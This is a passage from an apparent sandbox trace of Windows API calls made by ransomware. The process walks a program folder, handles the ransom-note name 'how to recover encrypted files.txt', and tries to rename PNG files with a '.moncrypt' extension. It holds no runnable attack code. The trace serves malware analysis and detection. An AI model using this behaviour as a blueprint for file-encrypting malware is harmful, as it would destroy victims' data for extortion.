lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 75 [0057.719] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\huemainsubpicture2.png", lpUsedDefaultChar=0x0) returned 4 [0057.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 0x54e280 [0057.719] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.719] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.719] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.720] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", dwFileAttributes=0x20) returned 0 [0057.720] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.720] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.moncrypt")) returned 0 [0057.720] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.720] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.720] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.720] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.720] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.720] GlobalUnlock (hMem=0x44000c) returned 0 [0057.720] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.720] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.721] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.721] GlobalUnlock (hMem=0x44000c) returned 0 [0057.721] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.721] GlobalUnlock (hMem=0x440004) returned 0 [0057.721] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.721] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 85 [0057.722] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.722] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.722] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.723] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.723] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.723] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0057.723] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.723] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.723] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.723] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.724] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.724] GlobalUnlock (hMem=0x440004) returned 0 [0057.724] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.724] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.724] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.724] GlobalUnlock (hMem=0x440004) returned 0 [0057.724] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.724] GlobalUnlock (hMem=0x44000c) returned 0 [0057.724] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.724] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.725] WideCharToMultiByte (in: 